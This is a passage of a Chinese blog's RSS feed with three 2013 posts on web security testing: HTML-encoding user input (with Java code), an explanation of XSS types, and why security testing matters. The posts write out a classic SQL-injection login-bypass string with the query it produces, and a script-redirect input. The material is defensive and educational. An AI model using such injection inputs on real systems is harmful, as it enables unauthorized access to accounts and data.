#333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">完善的过滤体系</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　永远不相信用户的输入。需要对用户的输入进行处理，只允许输入合法的值，其它值一概过滤掉。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">Html encode</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　假如某些情况下，我们不能对用户数据进行严格的过滤，那我们也需要对标签进行转换。<br /><br /><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;"><a href="http://www.51testing.com/batch.download.php?aid=43436" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2013/12/14982672_2013120917253816c9D.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;"><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　比如用户输入：&lt;script&gt;window.location.href=&#8221;http://www.baidu.com&#8221;;&lt;/script&gt;，保存后最终存储的会是：&amp;lt;script&amp;gt;window.location.href=&amp;quot;http://www.baidu.com&amp;quot;&amp;lt;/script&amp;gt;在展现时浏览器会对这些字符转换成文本内容显示，而不是一段可执行的代码。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　<strong style="word-break: break-all;">其它</strong></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　下面提供两种Html encode的方法。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　使用Apache的commons-lang.jar</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码，空格不转换</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　自己实现转换，只转换部分字符</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">private static String htmlEncode(char c) {</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">switch(c) {</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">case '&amp;':</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">return"&amp;amp;";</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">case '&lt;':</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">return"&amp;lt;";</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">case '&gt;':</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">return"&amp;gt;";</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">case '"':</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">return"&amp;quot;";</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">case ' ':</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">return"&amp;nbsp;";</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">default:</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">return c +"";</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">}</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">}</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">/** 对传入的字符串str进行Html encode转换 */</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">public static String htmlEncode(String str) {</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">if(str ==null || str.trim().equals("")) &nbsp; return str;</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">StringBuilder encodeStrBuilder = new StringBuilder();</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">for (int i = 0, len = str.length(); i &lt; len; i++) {</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">encodeStrBuilder.append(htmlEncode(str.charAt(i)));</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">}</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">return encodeStrBuilder.toString();</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">}</div></td></tr></tbody></table></div></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;"></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;"></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px; height: 21px; position: relative; width: 627.1875px;"></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/407526.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2013-12-13 09:55 <a href="http://www.blogjava.net/qileilove/archive/2013/12/13/407526.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>XSS攻击技术详解</title><link>http://www.blogjava.net/qileilove/archive/2013/12/11/407435.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 11 Dec 2013 03:10:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2013/12/11/407435.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/407435.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2013/12/11/407435.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/407435.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/407435.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　一、背景知识</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　1、什么是<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none;"><u style="word-break: break-all;"><strong style="word-break: break-all;">XSS</strong></u></a>攻击</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　XSS攻击：跨站脚本攻击（Cross Site Scripting），为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制--例如同源策略（same origin policy）。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的"缓冲区溢出攻击"，而JavaScript是新型的"ShellCode"。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">XSS攻击的危害包括：</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　&#9670;盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号；</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　&#9670;控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力；</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　&#9670;盗窃企业重要的具有商业价值的资料；</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　&#9670;非法转账；</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　&#9670;强制发送电子邮件；</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　&#9670;网站挂马；</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　&#9670;控制受害者机器向其它网站发起攻击。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　2、XSS漏洞的分类</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">XSS漏洞按照攻击利用手法的不同，有以下三种类型：</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　类型A，本地利用漏洞，这种漏洞存在于页面中客户端脚本自身。其攻击过程如下所示：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Alice给Bob发送一个恶意构造了Web的URL。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Bob点击并查看了这个URL。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　类型B，反射式漏洞，这种漏洞和类型A有些类似，不同的是Web客户端使用Server端脚本生成页面为用户提供数据时，如果未经验证的用户数据被包含在页面中而未经HTML实体编码，客户端代码便能够注入到动态页面中。<strong style="word-break: break-all; line-height: normal !important;">其攻击过程如下:</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Alice经常浏览某个网站，此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录，并存储敏感信息（比如银行帐户信息）。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Charly发现Bob的站点包含反射性的XSS漏洞。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Charly编写一个利用漏洞的URL，并将其冒充为来自Bob的邮件发送给Alice。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Alice在登录到Bob的站点后，浏览Charly提供的URL。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　嵌入到URL中的恶意脚本在Alice的浏览器中执行，就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息（授权、信用卡、帐号信息等）然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　类型C，存储式漏洞，该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞，骇客将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄漏的可能，其中也包括了Web服务器的管理员。<strong style="word-break: break-all; line-height: normal !important;">其攻击过程如下：</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Bob拥有一个Web站点，该站点允许用户发布信息/浏览已发布的信息。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Charly注意到Bob的站点具有类型C的XXS漏洞。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Charly发布一个热点信息，吸引其它用户纷纷阅读。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Bob或者是任何的其他人如Alice浏览该信息，其会话cookies或者其它信息将被Charly盗走。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　类型A直接威胁用户个体，而类型B和类型C所威胁的对象都是企业级Web应用，目前天清Web应用安全网关产品所能防范的XSS攻击包括类型B和类型C。</div><img src ="http://www.blogjava.net/qileilove/aggbug/407435.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2013-12-11 11:10 <a href="http://www.blogjava.net/qileilove/archive/2013/12/11/407435.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>为什么要进行安全性测试？</title><link>http://www.blogjava.net/qileilove/archive/2013/12/10/407386.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Tue, 10 Dec 2013 02:51:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2013/12/10/407386.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/407386.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2013/12/10/407386.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/407386.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/407386.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">安全性测试</strong></u></a>都有什么？简单的就包括跳过权限验证啊，修改提交信息啊，复杂的呢，就有sql盲注、跨站点脚本等等。这些咱们暂时不一一细表，只说说我们为什么要进行安全性测试。、</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　其实网上关于安全性测试的资料并不是非常多，即使有人关注已只是很浅显的谈到部门安全性因素。当然，据我了解部分大公司都有自己的安全性测试团队，这部分<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>并不由测试人员进行。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　胡扯了两句，今天我们来聊聊为什么进行安全性测试，或者说，安全性到底会引起哪些问题、后果。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　第一，提到安全。</strong>我们一个产品一个网站最需要加强安全防范的就是<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>。那么如果缺少了安全性测试，在高手的sql盲注下，你的数据库就会逐步展现在黑客的面前，无论是数据库类型、表结构、字段名或是详细的用户信息，都有无数种手段可以让人&#8220;一览无余&#8221;。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">第二，就是权限。</strong>网站一般都规定了什么样的用户可以做什么事。比如版主可以修改所有人的帖子，而你普通用户只能编辑自己的帖子，同样游客只能看大家的帖子。这就是简单的权限。如果少了安全性保证，那么就容易有人跳出权限做他不该做的事情。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　简单举个小例子，一个登录模块，让你输入用户名密码。我们会老老实实的输入我们的用户名密码，比如&#8220;风落几番&#8221;-&#8220;password&#8221;。如果我们刻意的去绕过登录认证呢？</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　猜想一下这个sql，单说用户名，开发人员很可能会这样去数据库里对比：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Select count(id) from sys_user where username=&#8216;XXX&#8217;</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　当然可能更复杂，咱们就用这个说。如果我们在输入框里输入一段特殊的字符会如何？</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　&#8217;or&#8216;1=1</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　这是段神奇的字符，因为这样这个sql就变成：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Select count(id) from sys_user where username=&#8216;&#8217;or&#8216;1=1&#8217;</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　好吧，我们就跳过了用户名的验证。。。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　说的好基础和无聊的感觉，其实这就是安全性的一部分。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">&nbsp; &nbsp;<strong style="word-break: break-all; line-height: normal !important;">接着说第三，就是修改提交数据信息。</strong>曾经我们公司做过一个关于在线支付的商城，在安全性测试过程中，我发现通过抓包抓到的提交价格，经过修改再发包可以通过。简单来说就是本来100块钱买的东西，我抓包修改为1块就能成功购买。这就成为了一个巨大的隐患。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　再说第四，类似跨站脚本的安全隐患。</strong>这方面网上资料很多，具体过程呢就像这样：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　1.HTML注入。所有HTML注入范例只是注入一个JavaScript弹出式的警告框：alert(1)。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　2.做坏事。如果您觉得警告框还不够刺激，当受害者点击了一个被注入了HTML代码的页面链接时攻击者能作的各种的恶意事情。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　3.诱捕受害者，可能会redirect到另一个钓鱼网站之类的，使其蒙受损失。</div><img src ="http://www.blogjava.net/qileilove/aggbug/407386.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2013-12-10 10:51 <a href="http://www.blogjava.net/qileilove/archive/2013/12/10/407386.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>